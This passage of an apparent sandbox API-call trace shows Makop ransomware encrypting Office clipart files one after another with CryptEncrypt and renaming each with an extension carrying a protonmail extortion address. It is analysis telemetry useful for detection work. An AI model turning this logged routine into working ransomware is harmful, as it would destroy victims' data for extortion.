(hObject=0xf0) returned 1 [0119.135] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0119.136] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned 63 [0119.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.136] GetProcessHeap () returned 0x48a0000 [0119.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.136] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.141] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.141] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.141] GetProcessHeap () returned 0x48a0000 [0119.141] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.141] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.141] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.142] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.143] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4314, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4314, lpOverlapped=0x0) returned 1 [0119.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4320, dwBufLen=0x4320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4320) returned 1 [0119.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4320, lpOverlapped=0x0) returned 1 [0119.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x43f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.145] SetEndOfFile (hFile=0xf0) returned 1 [0119.152] GetProcessHeap () returned 0x48a0000 [0119.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.152] GetProcessHeap () returned 0x48a0000 [0119.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.153] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.154] CloseHandle (hObject=0xf0) returned 1 [0119.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0119.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned 63 [0119.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.155] GetProcessHeap () returned 0x48a0000 [0119.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.160] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.160] GetProcessHeap () returned 0x48a0000 [0119.160] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.160] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.161] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.162] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.162] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.162] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d0c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d0c, lpOverlapped=0x0) returned 1 [0119.164] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d10, dwBufLen=0x2d10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d10) returned 1 [0119.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d10, lpOverlapped=0x0) returned 1 [0119.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.165] SetEndOfFile (hFile=0xf0) returned 1 [0119.176] GetProcessHeap () returned 0x48a0000 [0119.177] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.177] GetProcessHeap () returned 0x48a0000 [0119.177] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.177] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.178] CloseHandle (hObject=0xf0) returned 1 [0119.179] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0119.179] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned 63 [0119.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.180] GetProcessHeap () returned 0x48a0000 [0119.180] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.180] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.180] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.184] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.184] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.184] GetProcessHeap () returned 0x48a0000 [0119.184] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.184] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.185] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.185] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.185] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.186] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2bdc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2bdc, lpOverlapped=0x0) returned 1 [0119.187] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2be0, dwBufLen=0x2be0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2be0) returned 1 [0119.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2be0, lpOverlapped=0x0) returned 1 [0119.188] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.188] SetEndOfFile (hFile=0xf0) returned 1 [0119.194] GetProcessHeap () returned 0x48a0000 [0119.194] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.194] GetProcessHeap () returned 0x48a0000 [0119.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.195] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.199] CloseHandle (hObject=0xf0) returned 1 [0119.199] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105246.WMF", cAlternateFileName="")) returned 1 [0119.200] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0119.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.201] GetProcessHeap () returned 0x48a0000 [0119.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.201] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.201] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.201] GetProcessHeap () returned 0x48a0000 [0119.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.201] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.201] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.205] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.206] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.206] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.206] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.206] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.206] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.206] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.207] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b80, lpOverlapped=0x0) returned 1 [0119.208] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b80) returned 1 [0119.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b80, lpOverlapped=0x0) returned 1 [0119.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.209] SetEndOfFile (hFile=0xf0) returned 1 [0119.216] GetProcessHeap () returned 0x48a0000 [0119.217] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.217] GetProcessHeap () returned 0x48a0000 [0119.217] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.217] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 